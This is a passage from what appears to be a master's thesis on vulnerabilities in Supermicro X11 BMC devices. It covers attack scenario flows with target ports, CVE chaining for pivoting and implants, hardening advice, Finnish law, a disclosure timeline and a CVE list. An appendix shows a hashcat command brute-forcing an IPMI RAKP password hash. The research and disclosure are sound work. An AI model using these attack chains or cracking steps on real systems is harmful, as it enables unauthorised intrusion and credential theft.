tack in the form of potential DMA attacks or the attacker exploiting the shared network controller
interface. Attacks against the shared network controller, especially using the BMC to pivot into
more privileged network segments, cannot be fully ruled out, but the risk can be assessed to be
low because the most likely scenario for the opportunistic attacker is the access being facilitated
by the misconfigured and side-loaded shared network controller interface. In addition, the poten-
tial attacker also has access to the standard management functionalities provided by the BMC,

such as access to the iKVM terminal.

While the iKVM terminal potentially allows the attacker to access the hardware components of
the host and even booting it into a live operating system or, in an extreme case, to install a whole
new operating system, this kind of exploitation can be assessed to be short-lived. Rebooting and
reinstalling the host system might bring the attention of the systems administrators, as the system

would stop functioning as intended. However, if the attacker is quick enough, they might be able
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to manipulate the underlying hard drive in a way that it would allow the attacker access to the ac-

tual preinstalled operating system without raising too much suspicion.

9.2.3 Impact

Considering the assessed opportunistic nature of the exploitation scenario, the risk of continued,
targeted exploitation after the initial command execution can be assessed to be low. While the
BMC devices have some resources available to them, an 800 MHz ARMv11 CPU with 512 MB of
RAM cannot be seen as too lucrative targets themselves. The more likely aim of any potential ex-
ploitation can be assessed to be the internet connectivity, which can be used to merge the af-

fected BMC device into a botnet.

After a successful attack, the attacker now has the possibility to pivot and hop between network
interface controllers, access to the BMC device's privileged information, extensive access to the
host's high- and low-level functionalities, and a possibility to introduce a BMC-based implant to
the affected system. A possibility exists for the attacker to use the compromised BMC device as a

"Revolving Door," providing access to and from the host operating system.

9.3 Targeted Intranet-based Attack

9.3.1 Scenario Introduction

In an intranet-based targeted attack, the attacker is assessed to already possess a foothold in the
network accommodating the BMC devices. Considering the ignorant deployment, the network in
this scenario can be assessed to be flat and not to contain any significant network segmentation or
virtual local area networking. In the targeted attack scenario, the network-based attacker enumer-
ates all network-connected BMC devices to pivot to new network hosts or to introduce a persis-
tent and well-hidden command and control channels to the network. The phases and flow for in-

tranet-based targeted attack are detailed in Figure 13.
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Targeted Intranet-based Attack

Reconnaissance / Scanning

Initial Access

Execution

Metwork-based attacker scans the
intranet for Supermicro enabled hosts
with accessible BMC devices.

Targets:
- TCP port 80 or 443
- TCP port 49152
- UDP port 623

The attacker attempts known default
credentials or performs CVE-2013-4786
RAKP HMAC-5HAL hash disclosure attack

The attacker uses the iKW functions
to introduce malicious USE device to
exploit the host operating system by

against the vulnerable target and
cracks the received hashes offline.

Targets:
- UDP port 623

accessing and booting the host to its
UEFI shell.

Targets:

- TCP port 80 or 443

Initial Access

The attacker uses CVE-2023-33411
authentication bypass attack to gain
direct access to the BMC devices
iKVM functionality.

Targets:
- TCP port 80 or 443
- TCP port 49152

Y

/THEN

Continued Attack

Impact

Execution / Privilege Escalation

Possible Impact

Direct Impact

The attacker crafts exploit request
or uses an attack script, exploiting
CVE-2023-33412 to execute commands
and to escalate their privileges

to the root user.

Targets:
- TCP port 80 or 443

The attacker gains direct or partial
access to the host operating system,
potentially allowing further attacks
to be conducted against the system
and/or the owners organisation

The attacker gains direct access to
the BMC device, which can be used to
perform Denial-of-Service attacks or
to use the device as a part of a
botnet.

Lateral Movement

The attacker can use the gained
administrative and root access

to potentially perform DMA attacks,
sniff on shared network interfaces,
use the iKW functionality to access
the host operating system and Tow-
level system components of the host.

Figure 13: Targeted intranet-based attack scenario flow.
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9.3.2 Scenario Considerations

While the initial exploitation vectors can be the same as for opportunistic internet-based attacks,
the targeted intranet-based attack scenario allows for a greater chance for the attacker to utilize
the CVE-2023-33411 vulnerability to directly access the iKVM functionality. The CVE-2023-33411
has the potential to allow possible exploitation even in cases where the systems administrators
have introduced sufficiently complex, uncrackable passwords to the network BMC devices, render-

ing the CVE-2013-4786 insufficient and useless.

For the intranet-based attacker, there is eventually very little difference between exploiting the
CVE-2013-4786 RAKP HMAC-SHA1 hash disclosure or the CVE-2023-33411 authentication bypass
vulnerability if the attacker's intent is to gain access to the underlying host's operating system.
Both exploitation vectors eventually allow the attacker to have the same level of access to the

iKVM functionality, necessary to attempt to completely take over the host.

9.3.3 Impact

In case the attacker would prefer to have another device to connect to their command-and-con-
trol server, utilizing the CVE-2023-33412 file upload remote command execution vulnerability or
the CVE-2023-33413 hardcoded symmetric cryptographic keys vulnerability provides the possibil-
ity if the attacker gains valid credentials to the BMC device. If the attacker gains the credentials,
the same attack vectors as described in the opportunistic internet-based attack scenario are rele-
vant. After a successful attack, the attacker now has extensive access to the host's high- and low-
level functionalities, access to the BMC devices' privileged information, a possibility to introduce a
BMC-based implant to the affected system, and a possibility to perform DMA-based attacks

against the host system, possibly introducing the “Revolving Door” type of situation.



9.4 Targeted Host-based Attack

9.4.1 Scenario Introduction

In a host-based targeted attack, described in Figure 14, the attacker is assumed to have already

breached a host residing in the organization's network and has escalated privileges to run com-

mands with administrative privileges.

Targeted Host-based Attack

Assumed Breach

Initial Access

Privilege Escalation

For consideration of this scenario:

The attacker has gained access to a
Supermicro enabled host inside the
organizations internal network. The
attacker has successfully gained
administrative or root privileges on
the host operating system.

The attacker uses IPMICFG program to
reconfigure the BMC devices network
interface controller to perform the

The attacker crafts exploit request
or uses an attack script, exploiting
CVE-2023-33412 to execute commands

CVE-2013-4786 RACKP HMAC-SHAL hash
disclosure attack.

Targets:
- Host BMC PCI-e driver
- UDP port 623

and to escalate their privileges
to the root user.

Targets:
- TCP port 30 or 443

Execution / Privilege Escalation

Lateral Movement

The attacker requests the BMC dewvices
configuration back-up archive using
IPMICFG program and decrypts it using

CVE-2023-33413. Attacker manipulates
the arhive and upon restore, gains
command execution on the BMC device

Targets:
- Host BMC PCI-e driver

The attacker can utilize the gained
command execution to move to the BMC
device and use it as a persistent
backdoor, potentially capable of DMA
attacks.

The attacker can potentially pivot
between networks and gain access to
or other segments.

/THEN

Continued Attack

Impact

Lateral Movement, continued

Possible Impact

Direct Impact

As the attacker has access to the BMC
device, the plaintext credentials of
the device can be extracted from the
MEMory.

With or without this infromation, the
attacker can utilize the device to
launch additional attacks against
other vulnerable devices.

If the attacker lands on a privileged
management network segment, they can
utilize the used attack vectors to
pivot from BMC device to another,
until they have full control of all
the dewvices in the network.

The attacker gains direct or partial
access to other hosts and/or BMC
devices in the network,p otentially
allowing further attacks to be
conducted against the systems and
the organisation in general.

The attacker gains direct access to
the BMC device, which can be used to
perform Denial-of-Service attacks, to
use the device as a part of a botnet
or as a bastion host to carry out
furture attacks.

Figure 14: Targeted host-based attack scenario flow.
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9.4.2 Scenario Considerations

In this scenario, the network hosts are deployed on Supermicro hardware, which accommodates
BMC devices that are not directly accessible from the server network, similarly to the best prac-
tices following deployment. The goal for the attacker in this attack scenario is to gain access to the
underlying BMC infrastructure to plant a well-hidden backdoor implant or to perform lateral
movement between network-connected hosts, utilizing the privileged and segmented manage-

ment network.

An attempt to exploit the BMC device from the host operating system can be seen as a highly so-
phisticated and targeted exploitation vector that can be performed by a skilled threat actor. The
attack requires extensive preparations in the form of the malicious implant performing the actual
exploitation of the BMC. In its current form, both CVE-2023-33412 and CVE-2023-33413 vulnera-
bilities only allow the attacker to execute commands on the BMC operating system and do not
provide any extended capabilities to provide a malicious implant or command and control chan-
nels. As the BMC operating system is considered to reside in a segmented network, direct exploi-
tation does not provide simultaneous access to both connected networks: the host network and

the management network.

After compromising the host operating system, the attacker has at least two possible ways to com-
promise the host's BMC device: by reconfiguring the BMC device's network adapter to expose the
out-of-band management protocols or by directly exploiting the BMC with the CVE-2023-33413
backup configuration vulnerability through the IPMI driver. After a vulnerability has been exploited
to gain access to pivot between the networks, it would require either the malicious implant to per-
form without an operator and a command-and-control channel or the attacker to have the capa-

bility to create such a channel for the implant.

The best ways to obtain a real-time command-and-control channel between the host operating
system and the implant would require further research on the subject, but it can be assessed that
two relatively easy-to-obtain possibilities exist. The malicious implant residing in the BMC operat-
ing system could possibly open a new network interface connection or bridge the existing network

connections to relay messages between the networks, the implant, and the command-and-control
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channel, introducing the “Revolving Door” situation allowing the attacker to pivot between net-
works. Another option would be to utilize the PCl-e bus to either write directly to the host
memory or override and utilize the in-band IPMI protocol management channels. Both possible

ways, if executed, would require a highly capable threat actor to be present.

9.4.3 Impact

By exploiting and gaining access to the BMC, new levels, and avenues of lateral movement open to
the attacker. Even though the execution powers of the administrative user on the host operating
system are extensive, the possibility to access low-level functionality, such as host BIOS or UEFI
shell, provides new exploitation vectors to the attacker. Whether the attacker gains access to the
BMC device operating system or exploits the CVE-2023-33413 backup configuration vulnerability,
the attacker de facto has access to the BMC device's administrative credentials, gaining further in-
sight into the administrative password policies or even reusable credentials to access other BMC
devices' administrative functions residing in the privileged management network, possibly allow-

ing easy lateral movement between the devices.

After a successful attack, the attacker now has the possibility to pivot and hop between network
segments using the BMC device as a “Revolving Door,” have extensive access to the host's low-

level functionality, and a possibility to introduce a BMC-based implant to the affected system.

10 Securing The BMC Ecosystem

10.1 Defensive Security Considerations

As the overall vulnerability of the BMC devices has been demonstrated, consideration should be
given to the internal and external security of these highly privileged devices. The Supermicro best
practices documentation gives overall very relevant guidelines and considerations to secure the
deployed BMC devices. Supermicro divides the best practices into three categories: network con-
figuration, BMC configuration, and additional measures, where each category provides a high-level

suggestion for hardening the deployment (Supermicro, 2022).



62

Whichever the deployment style is, the security of the devices lays in the necessity of knowing

whether such devices exist in the network in the first place.

10.2 Network Configuration

The network configuration suggestions aim to restrict the connectivity of the BMC devices within
the network. The suggestions include blocking any direct internet access, providing private net-
work segmentation to the BMC devices, introducing firewalling, and suggesting the usage of dedi-
cated network interface controllers for the BMC devices. A dedicated host to manage the BMC de-
vice configurations is suggested. Additionally, the suggestions include a mention of gathering

alerts for any outbound traffic originating from the BMC devices (Supermicro, 2022).

Considering the suggested network configurations, the importance of network monitoring cannot
be overstated. In most of the provided exploitation scenarios, the attack can be identified by ana-
lyzing the network traffic for trivial anomalies, such as unexpected network connections or briefly
lost connectivity. In addition to the necessity of monitoring to identify the attacks, mitigations
such as limiting the usable further attack surface are relevant. Especially explicitly denying the
BMC devices from connecting to each other could be assessed to provide protection against mass

exploitation of the devices in case one of the data center devices gets infected.

10.3 BMC Configuration

The BMC device configuration suggestions aim to limit the usable attack surface against external
attackers. The suggestions consist of assigning custom out-of-specification ports to different ser-
vices, ensuring that the devices are configured to use strong passwords, using user roles, policies,
and network connectivity. Also, configuring system-level security features to monitor and prevent
unauthorized account authentications, enabling system event log notifications, and configuring

BIOS security features are suggested (Supermicro, 2022).

Changing services to use out-of-specification service ports offers only a little extra protection,
while configuring user roles, policies, and using strong passwords can greatly reduce the possibili-

ties of attacking the system by effectively mitigating exploitation with the CVE-2013-4687 RAKP
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HMAC-SHA1 hash retrieval vulnerability. Alerts, system event logs, and notifications can be seen as
important similarly to network-level monitoring, as most of the attack scenarios described can
easily be identified from the event logs as unexpected behavior. Locking down the BIOS is advisa-

ble even in the scenario where the hosts themselves are deployed to a secure physical location.

When using strong passwords, an effort should be made to prevent reusing credentials, but assign
individual arbitrary passwords for each device instead, as the password is readable in its plaintext
format from the device’s memory or can be deciphered from the configuration backup archive. In
addition to Supermicro’s suggested best practices, the attack surface can be further reduced by

disabling all non-relevant services and functionalities from the BMC devices.

10.4 Additional measures

As additional measures, the best practices suggest monitoring for unusual traffic and ensuring
planned upgrades during maintenance cycles (Supermicro, 2022). Currently, besides disabling the
BMC devices altogether, updating the firmware can be one of the only ways to respond to any
identified software vulnerabilities. Counterintuitively, if updating the firmware or disabling the de-
vices are not options in some deployments, the identified vulnerabilities can also be used to intro-
duce on-the-fly patches, mitigations, or additional custom monitoring software to the affected de-

vices.

To secure the BMC ecosystem, consideration could be given to also monitoring the host operating
system events in case the attacker is able to gain execution privileges to the host operating sys-

tem's IPMI driver.

11 Security Research In Finland

11.1 Governing Legislation

In its current state, there is no single overall governing legislation regarding security research in
Finland. The relevant regulations have practically been divided and can be found in two sections of

the law: Criminal Code of Finland and the Copyright Act. The Criminal Code of Finland has legal
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clauses regarding information technology and communications-related offenses, including com-
puter break-in, which is interpreted very broadly in Finnish legislation (Finnish Ministry of Justice,
2016). The Copyright Act and accompanying government bill introduced back in 1993 and 1992,
respectively, consider the modification, bug fixing, and interoperability of rightfully obtained soft-

ware programs (Finnish Ministry of Justice, 2023).

11.2 The Copyright Act

The Copyright Act, legal clause 25 j originating from 1993, details that anyone who has legally ob-
tained a program is allowed to make changes to the program that makes it usable for the user's
intended use case, with extra mention that this includes fixing errors (Finnish Ministry of Justice,
2023). The act also states that those who have permission to use the software program are al-
lowed to inspect, research, and experiment with the program to reveal the ideas and concepts be-
hind the program's logic if they do it by inspecting the computer memory, program execution, pro-
gram presentation, or during data transfer or data write (Finnish Ministry of Justice, 2023). They
also have explicit permission to make copies and to perform any action necessary to access and
use a database, while any external contract or license clause restricting these actions is deemed

legally invalid (Finnish Ministry of Justice, 2023).

The Copyright Act, legal clause 25 k, also originating from 1993, on the other hand, details the con-
cept of computer program interoperability in situations where decompilation and reverse engi-
neering the program is necessary to obtain information to accomplish the interoperability be-
tween the targeted program and another independently created program (Finnish Ministry of
Justice, 2023). Decompilation and reverse engineering are permissible if the person performing it
has a license or a lawful right to use the program, the information necessary to accomplish the in-
teroperability is not easily obtainable by any other means, and if the actions are limited to the
parts of the program that are required to achieve interoperability (Finnish Ministry of Justice,
2023). The act also forbids using the gained information purposefully to develop a similar software
product that infringes copyrights or for other purposes, such as passing the information to third
parties unless it is relevant for the purpose of the program’s interoperability (Finnish Ministry of

Justice, 2023).
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The government bill from 1992 introduced the changes to the Copyright Act regarding reverse en-
gineering and decompilation and gives insight into the legislative lawmakers’ perspective (Finnish
Ministry of Justice, 1992). The proposal describes the necessity for individual computer programs
to be able to work with other programs via different interfaces and be interoperable without re-
strictions (Finnish Ministry of Justice, 1992). Copyrights do not extend to ideas, concepts, or inter-
faces, and to expose these concepts and ideas, it might require decompilation or reverse engineer-
ing (Finnish Ministry of Justice, 1992). Legally, the program's developer or vendor can prevent the
process of decompilation by publishing the necessary information to gain the said interoperability

as part of the program's documentation or a similar format (Finnish Ministry of Justice, 1992).

The processes and methods of reverse engineering and decompilation described in the Copyright
Act and accompanying government bill feel a bit outdated being 20 years old. The legislation has
been proposed in an era where software was simple enough to be fully copied by simply debug-
ging and decompiling its internals. However, it seems that the lawmakers had already recognized
the need for programs to be interoperable, which remains true today. The exclusion of copyrights
on concepts and ideas, as well as permission providing interoperability and explicit permits to ac-

cess program databases give a powerful boost to perform security research in Finland.

From a security research perspective, the interoperability and unrestricted database accesses are
very relevant, as they allow researchers to provide interoperability with frameworks such as
Metasploit or provide unrestricted access to databases such as the file system. The clauses also
explicitly allow sharing this information as part of providing said interoperability or unrestricted
database access. This interpretation gives backing to perform security research if there is an intent
to provide said interoperability and it is not used to infringe copyrights by developing a similar

product.

Criticism could be provided to the clauses restricting the act of decompilation to only contain the
parts of the program that are necessary to achieve interoperability. As the act is old, it does not
consider the present situation where software has become so complex that it is arguably difficult —
if not impossible — to identify the necessary parts of the program in advance without analyzing the
program. The exact position of the necessary functions to provide such interoperation capabilities,

in short, functions containing exploitable vulnerabilities, are often unknown.
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11.3 The Criminal Code of Finland

The Criminal Code of Finland includes a set of legislation describing crimes in the field of infor-
mation technology and communications, where relevant clauses for security research are interfer-
ence with telecommunications, interference with a computer system, computer break-in, and to a
lesser extent, decryption system offense and their respective aggravated counterparts (Finnish

Ministry of Justice, 2016).

Excluding aggravated offenses, most of the information technology offenses described in the Crim-
inal Code of Finland are complainant offenses, which will only be prosecuted if the plaintiff de-
mands a penalty for the offender (Finnish Ministry of Justice, 2016). For systems that are owned
and controlled by the researcher, no problems should arise unless the target is to create a decryp-
tion tool targeting any form of private, individual communications channels, or protected televi-

sion and radio broadcasts (Finnish Ministry of Justice, 2016).

Problems can arise if the researcher targets systems outside of their immediate custody, for exam-
ple, aiming to map out the extent of vulnerable devices across the internet. The Criminal Code of
Finland describes computer break-in as an offense in a very broad manner: “A person who, by us-
ing an access code that does not belong to him or her or by otherwise breaking a protection un-
lawfully, hacks into an information system where information or data is processed, stored, or
transmitted electronically or in a corresponding technical manner, or into a separately protected
part of such a system, shall be sentenced for a computer break-in to a fine or to imprisonment for
at most two years” (Finnish Ministry of Justice, 2016). Meeting with the Finnish Transportation
and Communications Agency National Cyber Security Centre officials provided insight on the issue,
which was described from the perspective of the law; even an unlocked door is seen as a security

mechanism (M. Mesia, A-M. Vayrynen, S. Kénonen, J. Eronen, personal communication, 2022).
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12 Disclosure Process

12.1 Disclosure Stakeholders

Supermicro provides a communications channel for vulnerability researchers to privately disclose
any vulnerabilities identified via a dedicated email endpoint and an associated PGP public key for
encryption (Supermicro, n.d.-a). Upon receiving any vulnerability reports, Supermicro requests
general information on the research and on the vulnerability, as well as instructions to reproduce
the issue. Relevant information on the identified vulnerabilities was communicated to Supermicro

via encrypted email.

Public disclosure of the vulnerabilities was decided to contain only limited information in the form
of an advisory after reaching an assessment conclusion that full disclosure would likely negatively
impact the safety of any misconfigured devices connected to the internet, without a reliable way
for the issue description to reach the owners of the systems. During the disclosure process, CVE
identifiers were requested for the vulnerabilities, and Supermicro drafted a security advisory out-
lining the identified issues after issuing a firmware update package for the affected devices
(Dayen, I., personal communication, 2023). In addition, general information on the issues was pro-

vided to the Finnish Transportation and Communications Agency’s National Cyber Security.

12.2 Disclosure Timeline

6.1.2023: Initial report sent to Supermicro via encrypted email, containing detailed information,

steps to reproduce and example exploit scripts to trigger the vulnerabilities.

11.1.2023: Initial response from Supermicro, confirming the report had been received.

24.2.2023: Requested a status update on report verification process and requested proposals for
disclosure timeline from Supermicro. Received confirmation on the reported issues and that Su-

permicro is looking to identify the other potentially affected devices.
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27.2.2023: Confirmed to Supermicro, that limited disclosure is planned as a part of master’s thesis

and limited information will also be provided to the Finnish National Cyber Security Centre.

28.2.2023: Discussed publication timeline to aim for May 2023.

8.5.2023: Supermicro requested update on CVE requests. Requested three CVE identifiers from
MITRE.

9.5.2023: Confirmed to Supermicro that the CVE identifiers have been requested.

22.5.2023: Supermicro requested information on the CVE identifiers. Discussed publication time-

line to aim for August 2023.

25.5.2023: Received CVE identifiers from MITRE and relayed them to Supermicro. Assigned CVE
identifiers tracked as: CVE-2023-33411, CVE-2023-33412 and CVE-2023-33413.

25.7.2023: Supermicro releases firmware version 3.17.05, which contains patch for CVE-2023-

33411 and CVE-2023-33413 vulnerabilities.

3.8.2023: Supermicro reached out to provide their internal security teams assessment for the se-
verity of the CVE-2023-33412. Agreed with the Supermicro’s assessment of CVSS 3.1 vector and

score and agreed to relay the information to MITRE for CVE publication.

9.8.2023: Discussed publication timeline to aim for September 2023.

20.9.2023: Discussed publication timeline to aim for November 29, 2023.

12.10.2023: Discussed publication to be locked on December 5%, 2023.

5.12.2023: Requested CVE description updates from MITRE to include the patch issuance infor-

mation.
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13 Conclusions

Overall, the thesis research project provided valuable results for the industry to continuously as-
sess and enhance the security posture revolving around BMC devices in general, and around the
Supermicro X11 series motherboards more specifically. As for research questions, this research
gained answers wether there are any previously unknown software vulnerabilities, dangerous mis-
configurations and if the BMC devices can be used to compromise the server’s host operating sys-
tem or vice versa. Additionally, the research gained information wether there are any active ex-

ploitation campaigns targeting the BMC devices out in the wild.

Directly answering the main research question of wether any unknown software vulnerabilities are
prsent, three high-severity vulnerabilities were identified. As a direct result of this research,
patches providing fixes for the identified vulnerabilities are being rolled out to the affected Super-
micro motherboards' BMC devices, further locking down and limiting the exploitability of the BMC
ecosystem. The research provides outlines for relevant attack scenarios targeting the BMC de-
vices, which illuminate the deeply privileged position these devices possess in production environ-
ments. For the secondary research question, the deployment of an active honeypot system pro-
vided one of the most valuable insights: no active exploitation was observed during the

deployment of the honeypot system.

To detail and provide considerations around the exploitabilty, providing assessment of the impact,
the identified vulnerabilities tracked as CVE-2023-33411, CVE-2023-33412, and CVE-2023-33413,
can possibly allow a local or remote attacker to execute code on the affected BMC device's operat-
ing system or to control the remote management functions provided by the BMC device, com-
monly known as iKVM or remote desktop connections. Exploitation of the vulnerabilities would, in

most scenarios, end up with the attacker having total control over the BMC device.

The documentation review identified insecure default settings and configurations with the devices
in the form of insufficient entropy on factory-set default passwords, as well as the existence of de-
fault configurations to side-load the host's network interface controller. The passwords with 47

bits of entropy proved to be crackable in approximately 14 hours with consumer-grade hardware.
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The side-loading of the host's network interface controller can prove to be responsible for BMC

devices being available on the public internet.

As an indirect result, the attack scenarios can be used to enhance the network and device security
of organizations that deploy and use BMC devices in their production environments. The attack
scenarios underline the threat of malicious actors using BMC devices as the “Revolving Door” to
pivot from one network to another or within individual server machines. This kind of attack vector

can be easily overlooked in otherwise well-segmented, firewalled, and secured networks.

The current state of BMC devices and their ecosystem can be assessed as brittle and requiring a
great deal of dedication to secure properly. The fact that these devices accept a fundamentally
broken IPMI protocol by default is alarming. The number of internet-connected BMC devices,
which should not be connected to the internet in the first place is significant, and while no active

exploitation was observed, it can prove to be dangerous in the future.

As the research does not extensively consider other vendors besides Supermicro, it would be ben-
eficial for overall security to perform similar security research to other vendors’ devices too. Also,
the research only targeted a single device from the X11 series, while Supermicro has already

pushed out its 13™ generation devices, which leaves a significant gap in the security knowledge of

these devices even within one vendor’s line of offering (Supermicro, 2023).

For future research, extending and exploring the possibilities to exploit DMA and other avenues

allowing direct control from the BMC device to the host operating system and vice-versa would be
beneficial to map out the risks and create mitigations for them. Further research could also be per-
formed on the possibilities to use BMC devices as hidden malware implants and how they could be
detected. Finally, a low-hanging fruit would be to perform an extensive vulnerability assessment of
all internet-connected BMC devices. Even with the fact that it would be beneficial to collect action-
able data and make informed publications, the enumeration and scanning methodology cannot be

executed within Finnish legislation.

Overall, the results of this research can be assessed to be truthful with little margin for significant

errors. The identified vulnerabilities have been acknowledged and verified by Supermicro, and a
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patch to fix them has been rolled out. The queries on the Shodan search engine can be deemed
generally reliable, as they provide actual scanning results as historical data and offer their datasets

to academic research (Shodan, n.-d.).

This research proved to be an invaluable resource for the writer's own professional development,
forcing to adapt and overcome very non-standard situations encountered during the vulnerability
identification and exploit writing processes. Something that will benefit the circle of security re-

searchers in the future, and likely the broader audience in the form of future vulnerability findings.
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Appendix 1. Previously identified and published CVE identifiers (MITRE, n.d.)

Identifier Severity Description
CVE-2023-40290 CVSSv3 | Supermicro X11-series, Cross-site Scripting attack: An attacker
8.3 could send a phishing link that does not require login, tricking
BMC administrators to click on that link while they are still
logged in and thus authenticated by BMC Web Ul. This vulnera-
bility can only be exploited using Windows IE11 browser.
CVE-2023-40289 CVSSv3 | Supermicro X11-series, Command Injection attack: An attacker
7.2 needs to be logged into BMC with administrator privileges to ex-
ploit the vulnerability. An unvalidated input value could allow
the attacker to perform command injection.
CVE-2023-40288 CVSSv3 | Supermicro X11-series, Cross-site Scripting attack: An attacker
CVE-2023-40287 8.3 could send a phishing link that does not require login, tricking
CVE-2023-40284 BMC administrators to click on that link while they are still
logged in and thus authenticated by BMC Web UI.
CVE-2023-40286 CVSSv3 | Supermicro X11-series, Cross-site Scripting attack: An attacker
8.3 could send a phishing link that does not require login, tricking
BMC administrators to click on that link while they are still
logged in and thus authenticated by BMC Web Ul. The attacker
poisons the administrator’s browser cookies and local storage to
create a new user.
CVE-2023-40285 CVSSv3 | Supermicro X11-series, Cross-site Scripting attack: An attacker
8.3 could send a phishing link that does not require login, tricking

BMC administrators to click on that link while they are still




77

logged in and thus authenticated by BMC Web Ul. The attacker
poisons the administrator’s browser cookies to create a new

user.

CVE-2020-15046 CVSSv3 | Supermicro X10DRH-iT motherboards with BIOS 2.0a and IPMI
8.8 firmware 3.40 allow remote attackers to exploit a CSRF issue
within web Ul configuration interface to add a new admin user.
CVE-2019-19642 CVSSv3 | Supermicro X8STi-F motherboard with IPMI firmware 2.06 and
8.8 BIOS 2.68, the virtual media feature allows OS command injec-
tion by authenticated users who can send HTTP requests to the
IPMI IP address.
CVE-2019-16650 CVSSv3 | Supermicro X10 and X11 products, a client’s access privileges
10.0 may be transferred to a different client that later has the same
socket file descriptor number. In opportunistic circumstances,
an attacker can simply connect to the virtual media service, and
then connect virtual USB devices to the server managed by the
BMC. Also tracked via nickname “USBAnywhere”.
CVE-2019-16649 CVSSv3 | Supermicro H11, H12, M11, X9, X10 and X11 products, a combi-
10.0 nation of encryption and authentication problems in the virtual
media service allows capture of BMC credentials and data trans-
ferred over virtual media devices. Attackers can use captured
credentials to connect virtual USB devices to the server man-
aged by the BMC. Also tracked via nickname “USBAnywhere”.
CVE-2019-6260 CVSSv3 | The Aspeed AST2400 and AST2500 baseband management con-
9.8 troller (BMC) hardware and firmware implemented Advanced

High-performance Bus (AHB) bridges, which allow arbitrary read
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and write access to the BMC’s physical address space from the

host. Also tracked via nickname “Pantsdown”.

CVE-2018-13787 CVSSv3 | Certain Supermicro X118, X10, X9, X8SI, K1SP, C9X299, C7, B1,
6.7 A2 and A1l products have a misconfigured descriptor region, al-
lowing OS programs to modify firmware.
CVE-2013-6785 CVSSv3 | Directory traversal vulnerability in url_redirect.cgi in Supermicro
4.3 IPMI before SMT_X9_315 allows unauthenticated attackers to
read arbitrary files via the url_name parameter.
CVE-2013-4786 CVSSv3 | The IPMI 2.0 specification supports RMCP+ Authenticated Key-
7.5 Exchange Protocol (RAKP) authentication, which allows remote
attackers to obtain password hashes and conduct offline pass-
word guessing attacks by obtaining the HMAC from a RAKP mes-
sage 2 response from a BMC.
CVE-2013-4782 CVSSv2 | The Supermicro BMC implementation allows remote attackers
10.0 to bypass authentication and execute arbitrary IPMI commands
by using cipher suite 0 (aka cipher zero) and an arbitrary pass-
word.
CVE-2013-3623 CVSSv2 | Multiple stack-based buffer overflows in cgi/close_window.cgi
10.0 in the web interface in the Intelligent Platform Management In-

terface (IPMI) with firmware before 3.15 (SMT_X9_315) on Su-
permicro X9 generation motherboards allow remote attackers
to execute arbitrary code via the (1) sess_sid or (2) ACT parame-

ter.
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CVE-2013-3622

CVSSv2
9.0

Buffer overflow in logout.cgi in the Intelligent Platform Manage-
ment Interface (IPMI) with firmware before 3.15 (SMT_X9_315)
on Supermicro X9 generation motherboards allows remote au-

thenticated users to execute arbitrary code via the SID parame-

ter.

CVE-2013-3620

CVSSv3
7.5

Hardcoded WSMan credentials in Intelligent Platform Manage-
ment Interface (IPMI) with firmware for Supermicro X9 genera-
tion motherboards before 3.15 (SMT_x9 _315) and firmware for

Supermicro X8 generation motherboards before SMT X8 312.

CVE-2013-3619

CVSSv3
8.1

Intelligent Platform Management Interface (IPMI) with firmware
for Supermicro X9 generation motherboards before
SMT_X9_317 and firmware for Supermicro X8 generation moth-
erboards before SMT X8 312 contain hardcoded private encryp-
tion keys for the (1) Lighttpd web server SSL interface and the
(2) Dropbear SSH daemon.

CVE-2013-3609

CVSSv2
10.0

The web interface in the Intelligent Platform Management Inter-
face (IPMI) implementation on Supermicro H8DC*, H8DG*,
G8SCM-F, H8SGL-F, H8SM*, X7SP*, X8DT*, X8SI*, X9DAX-*,
X9DB*, X9DR*, X9QR*, X9SBAA-F, X9SC*, X9SPU-F and X9SR*
devices relies on JavaScript code on the client for authorization
checks, which allows remote authenticated users to bypass in-
tended access restrictions via a crafted request, related to the

PrivilegeCallBack function.

CVE-2013-3608

CVSSv2
10.0

The web interface in the Intelligent Platform Management Inter-
face (IPMI) implementation on Supermicro H8DC*, H8DG*,
G8SCM-F, H8SGL-F, H8SM*, X7SP*, X8DT*, X8SI*, X9DAX-*,
X9DB*, X9DR*, X9QR*, X9SBAA-F, X9SC*, X9SPU-F and X9SR*

devices allows remote authenticated users to execute arbitrary
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commands via shell metacharacters, as demonstrated by the IP

address field in config_date_time.cgi.

CVE-2013-3607

CVSSv2
10.0

Multiple stack-based buffer overflows in the web interface in
the Intelligent Platform Management Interface (IPMI) imple-
mentation on Supermicro H8DC*, H8DG*, G8SCM-F, H8SGL-F,
H8SM*, X7SP*, X8DT*, X8SI*, X9DAX-*, X9DB*, X9DR*, X9QR*,
X9SBAA-F, X9SC*, X9SPU-F and X9SR* devices allow remote at-
tackers to execute arbitrary code on the Baseboard Manage-
ment Controller (BMC), as demonstrated by the (1) username or

(2) password field in login.cgi.




81

Appendix 2. Hashcat v6.2.2 IPMI2 RAKP HMAC-SHA1 console output

.\hashcat.exe -a 3 -m 7300 -d 1 -0 --username .\test.txt ?u?u?u?u?u?u?u?u?u?u
hashcat (v6.2.2) starting...

CUDA API (CUDA 11.6)

* Device #1: NVIDIA GeForce RTX 3080, 9106/10239 MB, 68MCU

Minimum password length supported by kernel: o
Maximum password length supported by kernel: 55

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
Optimized-Kernel
Zero-Byte
Not-Iterated
Single-Hash
Single-Salt
Brute-Force

¥ ¥ ¥ ¥ ¥ %

Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1100 MB

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

Session.......... : hashcat

Status........... : Running

Hash.Name........: IPMI2 RAKP HMAC-SHAl

Hash.Target......: 642207d8200000006844608c77cb992114696aeae@f5c7e56b4. . .41ffa6
Time.Started.....: Fri Jul 22 21:02:34 2022 (50 secs)

Time.Estimated...: Sat Jul 23 11:12:22 2022 (14 hours, 8 mins)
Kernel.Feature...: Optimized Kernel

Guess.Mask.......: ?u?u?u?u?u?u?u?ululu [10]

Guess.Queue......: 1/1 (100.00%)

Speed.#1.........: 2768.6 MH/s (5.88ms) @ Accel:2 Loops:128 Thr:1024 Vec:1
Recovered........: 0/1 (0.00%) Digests

Progress.........: 136531083264/141167095653376 (0.10%)

Rejected.........: 0/136531083264 (0.00%)

Restore.Point....: 7659520/8031810176 (0.10%)

Restore.Sub.#1...: Salt:0 Amplifier:13568-13696 Iteration:0-128
Candidate.Engine.: Device Generator

Candidates.#1....: ZEFXPKGFER -> VBFRFKIIND

